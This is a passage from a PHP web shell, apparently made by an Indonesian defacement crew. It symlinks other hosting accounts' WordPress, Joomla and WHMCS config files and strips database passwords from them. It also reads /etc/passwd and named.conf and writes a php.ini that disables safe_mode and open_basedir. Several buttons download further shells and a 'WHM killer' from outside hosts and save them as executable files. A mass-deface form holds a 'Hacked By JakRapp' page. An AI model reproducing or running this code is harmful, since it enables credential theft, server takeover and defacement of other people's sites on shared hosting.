1197$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex jak.phtml\nAddType txt .php\nAddHandler txt .php";
1198file_put_contents(".htaccess",$htaccess,FILE_APPEND);
1199$passwd=explode("\n",$_POST["passwd"]); echo "<blink><center >tunggu sebentar ya bosq ...</center></blink>";
1200foreach($passwd as $pwd){ $user=trim($pwd);
1201@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'~~>wordpress'.$type.'');
1202@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'~~>wordpress-wp'.$type.'');
1203@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'~~>wordpress-wp-beta'.$type.'');
1204@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'~~>wordpress-beta'.$type.'');
1205@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'~~>wp13-press'.$type.'');
1206@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'~~>wordpress-wordpress'.$type.'');
1207@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'~~>wordpress-wordpress-beta'.$type.'');
1208@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'~~>wordpress-news'.$type.'');
1209@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'~~>wordpress-new'.$type.'');
1210@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'~~>wordpress'.$type.'');
1211@symlink('/home/'.$user.'/public_html/web/wp-config.php',$user.'~~>wordpress-web'.$type.'');
1212@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'~~>wordpress-blogs'.$type.'');
1213@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'~~>wordpress-home'.$type.'');
1214@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'~~>wordpress-protal'.$type.'');
1215@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'~~>ordpress-site'.$type.'');
1216@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'~~>wordpress-main'.$type.'');
1217@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'~~>wordpress-test'.$type.'');
1218@symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'~~>joomla'.$type.'');
1219@symlink('/home/'.$user.'/public_html/configuration.php',$user.'~~>joomla'.$type.'');
1220@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'~~>joomla-home'.$type.'');
1221@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'~~>joomla-joomla'.$type.'');
1222@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'~~>joomla-protal'.$type.'');
1223@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'~~>joomla-joo'.$type.'');
1224@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'~~>joomla-cms'.$type.'');
1225@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'~~>joomla-site'.$type.'');
1226@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'~~>joomla-main'.$type.'');
1227@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'~~>joomla-news'.$type.'');
1228@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'~~>joomla-new'.$type.'');
1229@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'~~>joomla-home'.$type.'');
1230@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'~~>Vbulletin-forum'.$type.'');
1231@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'~~>vbluttin'.$type.'');
1232@symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'~~>vbluttin3'.$type.'');
1233@symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'~~>vbluttin-class_core.php'.$type.'');
1234@symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'~~>vbluttin-class_core.php1'.$type.'');
1235@symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'~~>vbluttin-class_core.php2'.$type.'');
1236@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'~~>vb1-config'.$type.'');
1237@symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'~~>cpanel'.$type.'');
1238@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'~~>panel'.$type.'');
1239@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'~~>host'.$type.'');
1240@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'~~>hosting'.$type.'');
1241@symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'~~>hosts'.$type.'');
1242@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'~~>zencart'.$type.'');
1243@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'~~>zencart-shop'.$type.'');
1244@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'~~>hop-ZCshop'.$type.'');
1245@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'~~>mk-portale1'.$type.'');
1246@symlink('/home/'.$user.'/public_html/Settings.php',$user.'~~>smf'.$type.'');
1247@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'~~>smf-smf'.$type.'');
1248@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'~~>smf-forum'.$type.'');
1249@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'~~>smf-forums'.$type.'');
1250@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'~~>upload'.$type.'');
1251@symlink('/home/'.$user.'/public_html/incl/config.php',$user.'~~>malay'.$type.'');
1252@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'~~>clents'.$type.'');
1253@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'~~>client2'.$type.'');
1254@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'~~>client'.$type.'');
1255@symlink('/home/'.$user.'/public_html/config/koneksi.php',$user.'~~>lokomedia'.$type.'');
1256@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'~~>webconfig'.$type.'');
1257@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'~~>webconfig2'.$type.'');
1258@symlink('/home/'.$user.'/public_html/system/sistem.php',$user.'~~>lokomedia1'.$type.'');
1259@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'~~>Drupal'.$type.'');
1260@symlink('/home/'.$user.'/public_html/e107_config.php',$user.'~~>e107'.$type.'');
1261@symlink('/home/'.$user.'/public_html/datas/config.php',$user.'~~>Seditio'.$type.'');
1262@symlink('/home/'.$user.'/public_html/article/config.php',$user.'~~>Nwahy'.$type.'');
1263@symlink('/home/'.$user.'/public_html/connect.php',$user.'~~>PHP-Fusion'.$type.'');
1264@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'~~>traidnt1'.$type.'');
1265@symlink('/home/'.$user.'/public_html/config.php',$user.'~~>4images'.$type.'');
1266@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'~~>1member'.$type.'') ;
1267@symlink('/home/'.$user.'/public_html/requires/config.php',$user.'~~>AM4SS-hosting'.$type.'');
1268@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'~~>hostbills-supports'.$type.'');
1269@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'~~>hostbills-client'.$type.'');
1270@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'~~>hostbills-support'.$type.'');
1271@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'~~>hostbills-billing'.$type.'');
1272@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'~~>hostbills-billings'.$type.'');
1273@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'~~>hostbills-host'.$type.'');
1274@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'~~>hostbills-hosts'.$type.'');
1275@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'~~>hostbills-hosting'.$type.'');
1276@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'~~>hostbills-hostings'.$type.'');
1277@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'~~>hostbills'.$type.'');
1278@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'~~>hostbills-hostbills'.$type.'');
1279@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'~~>hostbills-hostbill'.$type.'');
1280@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'~~>billing'.$type.'');
1281@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'~~>whm-manage'.$type.'');
1282@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'~~>whm-my'.$type.'');
1283@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'~~>whm-myshop'.$type.'');
1284@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'~~>sucure-whm'.$type.'');
1285@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'~~>sucure-whmcs'.$type.'');
1286}
1287echo 'Selesai mas/mba bro untuk melihat hasilnya klik ~~> <blink><a href='.$folfig.'>'.$folfig.'</a></blink>';
1288}
1289}
1290?>
1291<?php
1292if (isset($_GET['jak']) && ($_GET['jak'] == 'auto')) {
1293?>
1294<form action="?&jak=auto" method="post">
1295<?php
1296echo "<html><head><title>MATAMU PICEK !!!!</title>";
1297echo "<body bgcolor='black'>";
1298echo "<font color='yellow'><center>-=[ IDBTE4M ]=- -=[ HGL10]=- -=[ BN ]=-</center></font><br/><br/><form method='POST'>";
1299echo "<div align='center'>";
1300echo "<input type='submit' name='jak' value='IJIN SERVER'><br/> <br/>";
1301echo "</div>";
1302echo "<div align='center'>";
1303echo "<input type='submit' name='te4m' value='-=[ HsH ]=-'> ";
1304echo "<input type='submit' name='te4m1' value='-=[ AUTO ]=-'> ";
1305echo "<input type='submit' name='te4m2' value='-=[ WHM KILL ]=-'> ";
1306echo "<input type='submit' name='te4m3' value='-=[ DM SHELL ]=-'> ";
1307echo "<input type='submit' name='te4m4' value='-=[ BN CGI ]=-'></p> ";
1308echo "<input type='submit' name='te4m5' value='-=[ SABUN ]=-'></p> ";
1309echo "<input type='submit' name='te4m6' value='-=[ WHMCS KILL ]=-'></p> ";
1310echo "</div>";
1311
1312
1313$sh = 'file_get_contents';
1314
1315if($_POST['jak']) {
1316$ini = "php.ini";
1317$open = fopen($ini, 'w');
1318$source = ("safe_mode = OFF n
1319disable_functions = NONE n
1320safe_mode_gid = OFF n
1321open_basedir = OFF n
1322register_globals = ON n
1323exec = ON n
1324shell_exec = ON n");
1325fwrite($open, $source);
1326echo "<font color='lime'>";
1327if($open) {
1328echo '<hr><p>ijin diterima, silahkan pilih tools sesuai keinginan :) </p>';
1329}
1330else {
1331echo "<font color='red'>";
1332echo '<hr><p>GAGAL kang </p>';
1333echo "</font>";
1334fclose($open);
1335} }
1336
1337if($_POST['te4m']) {
1338$cgi = 'http://el-ro.yu.tl/files/in.zip';
1339$get11 = $sh($cgi);
1340$idbk = fopen('hsh.php', 'w');
1341fwrite($idbk,$get11);
1342fclose($idbk);
1343{
1344@chmod('hsh.php',0755);
1345}
1346echo "<font color='aqua'>";
1347echo "<hr>shell hsh sukses dibuat :D <br/>
1348Silahkan kunjungi http://alamat-domain-kamu/hsh.php atau lihat hasilnya <a href='hsh.php' target='_blank'>DISINI</a></center></br>";
1349echo "</font>";
1350}
1351echo "</font>";
1352
1353if($_POST['te4m1']) {
1354$cgi = 'http://kefiex.yu.tl/files/ma.zip';
1355$get11 = $sh($cgi);
1356$idbk = fopen('ma.php', 'w');
1357fwrite($idbk,$get11);
1358fclose($idbk);
1359{
1360@chmod('ma.php',0755);
1361}
1362echo "<font color='aqua'>";
1363echo "<hr>tools sukses dibuat :D <br/>
1364Silahkan kunjungi http://alamat-domain-kamu/info.php atau lihat hasilnya <a href='ma.php' target='_blank'>DISINI</a></center></br>";
1365echo "</font>";
1366}
1367echo "</font>";
1368
1369if($_POST['te4m2']) {
1370$cgi = 'http://el-ro.yu.tl/files/whm.zip';
1371$get11 = $sh($cgi);
1372$idbk = fopen('whm.php', 'w');
1373fwrite($idbk,$get11);
1374fclose($idbk);
1375{
1376@chmod('whm.php',0755);
1377}
1378echo "<font color='aqua'>";
1379echo "<hr>whm killer sukses dibuat :D <br/>
1380Silahkan kunjungi http://alamat-domain-kamu/whm.php atau lihat hasilnya <a href='whm.php' target='_blank'>DISINI</a></center></br>";
1381echo "</font>";
1382}
1383echo "</font>";
1384
1385if($_POST['te4m3']) {
1386$cgi = 'http://el-ro.yu.tl/files/dm.zip';
1387$get11 = $sh($cgi);
1388$idbk = fopen('links.php', 'w');
1389fwrite($idbk,$get11);
1390fclose($idbk);
1391{
1392@chmod('links.php',0755);
1393}
1394echo "<font color='aqua'>";
1395echo "<hr>shell DM sukses dibuat :D <br/>
1396Silahkan kunjungi http://alamat-domain-kamu/links.php atau lihat hasilnya <a href='links.php' target='_blank'>DISINI</a></center></br>";
1397echo "</font>";
1398}
1399echo "</font>";
1400if($_POST['te4m5']) {
1401$cgi = 'http://kefiex.yu.tl/files/sabun.zip';
1402$get11 = $sh($cgi);
1403$idbk = fopen('sabun.php', 'w');
1404fwrite($idbk,$get11);
1405fclose($idbk);
1406{
1407@chmod('sabun.php',0755);
1408}
1409echo "<font color='aqua'>";
1410echo "<hr>sabun massal :D <br/>
1411Silahkan kunjungi http://alamat-domain-kamu/sabun.php atau lihat hasilnya <a href='sabun.php' target='_blank'>DISINI</a></center></br>";
1412echo "</font>";
1413}
1414echo "</font>";
1415if($_POST['te4m6']) {
1416$cgi = 'http://kefiex.yu.tl/files/olenk.zip';
1417$get11 = $sh($cgi);
1418$idbk = fopen('bn.php', 'w');
1419fwrite($idbk,$get11);
1420fclose($idbk);
1421{
1422@chmod('bn.php',0755);
1423}
1424echo "<font color='aqua'>";
1425echo "<hr>config kill :D <br/>
1426Silahkan kunjungi http://alamat-domain-kamu/bn.php atau lihat hasilnya <a href='bn.php' target='_blank'>DISINI</a></center></br>";
1427echo "</font>";
1428}
1429echo "</font>";
1430if($_POST['te4m4']) {
1431$cgi = 'http://kefiex.yu.tl/files/isis.zip';
1432$get11 = $sh($cgi);
1433$idb1k = fopen('idb2.php', 'w');
1434fwrite($idb1k,$get11);
1435fclose($idb1k);
1436{
1437@chmod('idb2.php',0755);
1438}
1439echo "<font color='aqua'>";
1440echo "<hr>CGIProxy sukses dibuat :D <br/>
1441Silahkan kunjungi http://alamat-domain-kamu/.pl atau lihat hasilnya <a href='idb2.php' target='_blank'>DISINI</a></center></br>";
1442echo "</font>";
1443}
1444echo "</font>";
1445}
1446?>
1447
1448<?php
1449if (isset($_GET['jak']) && ($_GET['jak'] == 'wp2')) { ?>
1450<form action="?jak=wp2" method="post">
1451<?php
1452@ini_set('display_errors',0);
1453function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
1454 $ar0=explode($marqueurDebutLien, $text);
1455 $ar1=explode($marqueurFinLien, $ar0[$i]);
1456 return trim($ar1[0]);
1457}
1458
1459echo "<center>";
1460$d0mains = @file('/etc/named.conf');
1461$domains = scandir("/var/named");
1462
1463if ($domains or $d0mains)
1464{
1465 $domains = scandir("/var/named");
1466 if($domains) {
1467echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> wp-config </th></tr>";
1468$count=1;
1469$dc = 0;
1470$list = scandir("/var/named");
1471foreach($list as $domain){
1472if(strpos($domain,".db")){
1473$domain = str_replace('.db','',$domain);
1474$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1475$dirz = '/home/'.$owner['name'].'/public_html/wp-config.php';
1476$path = getcwd();
1477
1478if (is_readable($dirz)) {
1479copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
1480$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
1481$password=entre2v2($p,'password="','"');
1482echo "<tr><td>".$count++."</td><td><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
1483$dc++;
1484}
1485
1486}
1487}
1488echo '</table>';
1489$total = $dc;
1490echo '<br><div class="result">Wp config Found = '.$total.'</h3><br />';
1491echo '</center>';
1492}else{
1493$d0mains = @file('/etc/named.conf');
1494 if($d0mains) {
1495echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> wp-config </th></tr>";
1496$count=1;
1497$dc = 0;
1498$mck = array();
1499foreach($d0mains as $d0main){
1500 if(@eregi('zone',$d0main)){
1501 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1502 flush();
1503 if(strlen(trim($domain[1][0])) >2){
1504 $mck[] = $domain[1][0];
1505 }
1506 }
1507}
1508$mck = array_unique($mck);
1509$usr = array();
1510$dmn = array();
1511foreach($mck as $o) {
1512 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1513 $usr[] = $infos['name'];
1514 $dmn[] = $o;
1515}
1516array_multisort($usr,$dmn);
1517$dt = file('/etc/passwd');
1518$passwd = array();
1519foreach($dt as $d) {
1520 $r = explode(':',$d);
1521 if(strpos($r[5],'home')) {
1522 $passwd[$r[0]] = $r[5];
1523 }
1524}
1525$l=0;
1526$j=1;
1527foreach($usr as $r) {
1528$dirz = '/home/'.$r.'/public_html/wp-config.php';
1529$path = getcwd();
1530if (is_readable($dirz)) {
1531copy($dirz, ''.$path.'/'.$r.'.txt');
1532$p=file_get_contents(''.$path.'/'.$r.'.txt');
1533$password=entre2v2($p,'password="','"');
1534echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
1535$dc++;
1536 flush();
1537 $l=$l?0:1;
1538 $j++;
1539 }
1540 }
1541 }
1542echo '</table>';
1543$total = $dc;
1544echo '<br><div class="result">Total config Found = '.$total.'</h3><br />';
1545echo '</center>';
1546
1547}
1548}else{
1549echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
1550}
1551echo "<center>";
1552$d0mains = @file('/etc/named.conf');
1553$domains = scandir("/var/named");
1554
1555if ($domains or $d0mains)
1556{
1557 $domains = scandir("/var/named");
1558 if($domains) {
1559echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> config </th></tr>";
1560$count=1;
1561$dc = 0;
1562$list = scandir("/var/named");
1563foreach($list as $domain){
1564if(strpos($domain,".db")){
1565$domain = str_replace('.db','',$domain);
1566$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1567$dirz = '/home/'.$owner['name'].'/public_html/configuration.php';
1568$path = getcwd();
1569
1570if (is_readable($dirz)) {
1571copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
1572$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
1573$password=entre2v2($p,'password="','"');
1574echo "<tr><td>".$count++."</td><td><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
1575$dc++;
1576}
1577
1578}
1579}
1580echo '</table>';
1581$total = $dc;
1582echo '<br><div class="result">Total config Found = '.$total.'</h3><br />';
1583echo '</center>';
1584}else{
1585$d0mains = @file('/etc/named.conf');
1586 if($d0mains) {
1587echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> config </th></tr>";
1588$count=1;
1589$dc = 0;
1590$mck = array();
1591foreach($d0mains as $d0main){
1592 if(@eregi('zone',$d0main)){
1593 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1594 flush();
1595 if(strlen(trim($domain[1][0])) >2){
1596 $mck[] = $domain[1][0];
1597 }
1598 }
1599}
1600$mck = array_unique($mck);
1601$usr = array();
1602$dmn = array();
1603foreach($mck as $o) {
1604 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1605 $usr[] = $infos['name'];
1606 $dmn[] = $o;
1607}
1608array_multisort($usr,$dmn);
1609$dt = file('/etc/passwd');
1610$passwd = array();
1611foreach($dt as $d) {
1612 $r = explode(':',$d);
1613 if(strpos($r[5],'home')) {
1614 $passwd[$r[0]] = $r[5];
1615 }
1616}
1617$l=0;
1618$j=1;
1619foreach($usr as $r) {
1620$dirz = '/home/'.$r.'/.my.cnf';
1621$path = getcwd();
1622if (is_readable($dirz)) {
1623copy($dirz, ''.$path.'/'.$r.'.txt');
1624$p=file_get_contents(''.$path.'/'.$r.'.txt');
1625$password=entre2v2($p,'password="','"');
1626echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
1627$dc++;
1628 flush();
1629 $l=$l?0:1;
1630 $j++;
1631 }
1632 }
1633 }
1634echo '</table>';
1635$total = $dc;
1636echo '<br><div class="result">Total cp = '.$total.'</h3><br />';
1637echo '</center>';
1638
1639}
1640}else{
1641echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
1642}
1643
1644echo "<br>© <font color='#FF0000'>./elro-BN404</font> | BN-IDBTE4M";
1645echo "</body></html>";
1646}
1647?>
1648<?php
1649if (isset($_GET['jak']) && ($_GET['jak'] == 'wpmas')) { ?>
1650<form action="?jak=wpmas" method="post">
1651<style>
1652body
1653{
1654 background: #0f0e0d;
1655 color: #FF9933;
1656 padding: 0px;
1657}
1658a:link, body_alink
1659{
1660 color: #FF9933;
1661 text-decoration: none;
1662}
1663a:visited, body_avisited
1664{
1665 color: #FF9933;
1666 text-decoration: none;
1667}
1668a:hover, a:active, body_ahover
1669{
1670 color: #FFFFFF;
1671 text-decoration: none;
1672}
1673td, th, p, li,table
1674{
1675
1676 background: #2e2b28;
1677 border:1px solid #524f46;
1678}
1679input
1680{
1681 border: 1px solid;
1682 cursor: default;
1683
1684 overflow: hidden;
1685 background: #2e2b28;
1686 color: #ffffff;
1687}textarea
1688{
1689 border: 1px solid;
1690 cursor: default;
1691
1692 overflow: hidden;
1693 background: #2e2b28;
1694 color: #ffffff;
1695}
1696button
1697{
1698 border: 1px solid;
1699 cursor: default;
1700
1701 overflow: hidden;
1702 background: #2e2b28;
1703 color: #ffffff;
1704}
1705</style>
1706</head>
1707<body bgcolor="black">
1708</center>
1709<form method="POST" action="" >
1710<center>
1711<table border='1'><tr><td>List of All Symlink</td><td>
1712<input type="text" name="url" size="100" value="list.txt"></td></tr>
1713<tr><td>Index</td><td>
1714<textarea name="index" cols='50' rows='10' >
1715<html>
1716<head>
1717 <title>Hacked By JakRapp</title>
1718<meta content='Hacked By JakRapp' name='description'/>
1719<meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
1720<meta content='index,follow' name='robots'/>
1721<link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
1722<style type="text/css">*{margin:0;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}body,html{margin:0;padding:0;font:16px/1.4 Lato,sans-serif;color:#fefeff;-webkit-font-smoothing:antialiased;font-smoothing:antialiased;font-family:Comic Sans MS}body{background:#080510;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}h1{font:2.75em Cinzel,serif;font-weight:400;letter-spacing:.35em;text-shadow:0 0 25px rgba(254,254,255,.85)}h2{font:1.45em Cinzel,serif;font-weight:400;letter-spacing:.5em;text-shadow:0 0 25px rgba(254,254,255,.85);text-transform:lowercase}[class^=letter]{-webkit-transition:opacity 3s ease;-moz-transition:opacity 3s ease;transition:opacity 3s ease}.letter-0{transition-delay:.2s}.letter-1{transition-delay:.4s}.letter-2{transition-delay:.6s}.letter-3{transition-delay:.8s}.letter-4{transition-delay:1s}.letter-5{transition-delay:1.2s}.letter-6{transition-delay:1.4s}.letter-7{transition-delay:1.6s}.letter-8{transition-delay:1.8s}.letter-9{transition-delay:2s}.letter-10{transition-delay:2.2s}.letter-11{transition-delay:2.4s}.letter-12{transition-delay:2.6s}.letter-13{transition-delay:2.8s}.letter-14{transition-delay:3s}h1,h2{visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}h1.transition-in,h2.transition-in{visibility:visible}h1 [class^=letter],h2 [class^=letter]{opacity:0}h1.transition-in [class^=letter],h2.transition-in [class^=letter]{opacity:1}#container{display:table;position:absolute;z-index:20;width:100%;height:100%;text-align:center;cursor:none}#container>div{display:table-cell;vertical-align:middle}#container p{position:absolute;width:100%;left:0;bottom:25px;font-size:.8em;letter-spacing:.1em;font-weight:300;color:#76747a;-webkit-font-smoothing:subpixel-antialiased;font-smoothing:subpixel-antialiased}#container p strong{color:#b3abc5}#container p span{font-size:.75em;padding:0 2px}#canvas{position:absolute;z-index:10;top:0;left:0;width:100%;height:100%;cursor:none}#stats{position:absolute;z-index:10;left:10px;top:10px}.dg.ac{z-index:100!important}.STYLE4{color:#FFF}
1723</style>
1724</head>
1725<body>
1726<body ondragstart="window.event.returnValue=false" oncontextmenu="window.event.returnValue=false" onselectstart="event.returnValue=false">
1727<div id="container">
1728<div><br><br><br><br><br><br><br><br>
1729<h1 id="h1">Hacked By JakRapp</h1>
1730</br><br><br><br>
1731<h2 id="h2">Pasukan Berani Mati | Indonesian Fighter Cyber</h2>
1732<br><br><br><br><br><br><br><br><br><br>
1733<h3>Tidak ada seorangpun, hewan atau banci yang disakiti dalam hacking ini</h3>
1734<h3 id="h3">Jiwa Kegelapan Team</h3>
1735</div>
1736</div>
1737<canvas id="canvas"></canvas>
1738<script>
1739var Stats=function(){var e=Date.now(),t=e,i=0,n=1/0,r=0,s=0,o=1/0,a=0,l=0,h=0,c=document.createElement("div");c.id="stats",c.addEventListener("mousedown",function(e){e.preventDefault(),v(++h%2)},!1),c.style.cssText="width:80px;opacity:0.9;cursor:pointer";var u=document.createElement("div");u.id="fps",u.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#002",c.appendChild(u);var d=document.createElement("div");d.id="fpsText",d.style.cssText="color:#0ff;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",d.innerHTML="FPS",u.appendChild(d);var p=document.createElement("div");for(p.id="fpsGraph",p.style.cssText="position:relative;width:74px;height:30px;background-color:#0ff",u.appendChild(p);74>p.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#113",p.appendChild(f)}var m=document.createElement("div");m.id="ms",m.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#020;display:none",c.appendChild(m);var g=document.createElement("div");g.id="msText",g.style.cssText="color:#0f0;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",g.innerHTML="MS",m.appendChild(g);var y=document.createElement("div");for(y.id="msGraph",y.style.cssText="position:relative;width:74px;height:30px;background-color:#0f0",m.appendChild(y);74>y.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#131",y.appendChild(f)}var v=function(e){switch(h=e){case 0:u.style.display="block",m.style.display="none";break;case 1:u.style.display="none",m.style.display="block"}},b=function(e,t){var i=e.appendChild(e.firstChild);i.style.height=t+"px"};return{REVISION:11,domElement:c,setMode:v,begin:function(){e=Date.now()},end:function(){var h=Date.now();return i=h-e,n=Math.min(n,i),r=Math.max(r,i),g.textContent=i+" MS ("+n+"-"+r+")",b(y,Math.min(30,30-30*(i/200))),l++,h>t+1e3&&(s=Math.round(1e3*l/(h-t)),o=Math.min(o,s),a=Math.max(a,s),d.textContent=s+" FPS ("+o+"-"+a+")",b(p,Math.min(30,30-30*(s/100))),t=h,l=0),h},update:function(){e=this.end()}}};
1740</script>
1741<script>
1742;(function(window) {
1743var ctx,
1744hue,
1745logo,
1746form,
1747buffer,
1748target = {},
1749tendrils = [],
1750settings = {};
1751settings.debug = true;
1752settings.friction = 0.5;
1753settings.trails = 20;
1754settings.size = 50;
1755settings.dampening = 0.25;
1756settings.tension = 0.98;
1757Math.TWO_PI = Math.PI * 2;
1758// ========================================================================================
1759// Oscillator
1760// ----------------------------------------------------------------------------------------
1761function Oscillator(options) {
1762this.init(options || {});
1763}
1764Oscillator.prototype = (function() {
1765var value = 0;
1766return {
1767init: function(options) {
1768this.phase = options.phase || 0;
1769this.offset = options.offset || 0;
1770this.frequency = options.frequency || 0.001;
1771this.amplitude = options.amplitude || 1;
1772},
1773update: function() {
1774this.phase += this.frequency;
1775value = this.offset + Math.sin(this.phase) * this.amplitude;
1776return value;
1777},
1778value: function() {
1779return value;
1780}
1781};
1782})();
1783// ========================================================================================
1784// Tendril
1785// ----------------------------------------------------------------------------------------
1786function Tendril(options) {
1787this.init(options || {});
1788}
1789Tendril.prototype = (function() {
1790function Node() {
1791this.x = 0;
1792this.y = 0;
1793this.vy = 0;
1794this.vx = 0;
1795}
1796return {
1797init: function(options) {
1798this.spring = options.spring + (Math.random() * 0.1) - 0.05;
1799this.friction = settings.friction + (Math.random() * 0.01) - 0.005;
1800this.nodes = [];
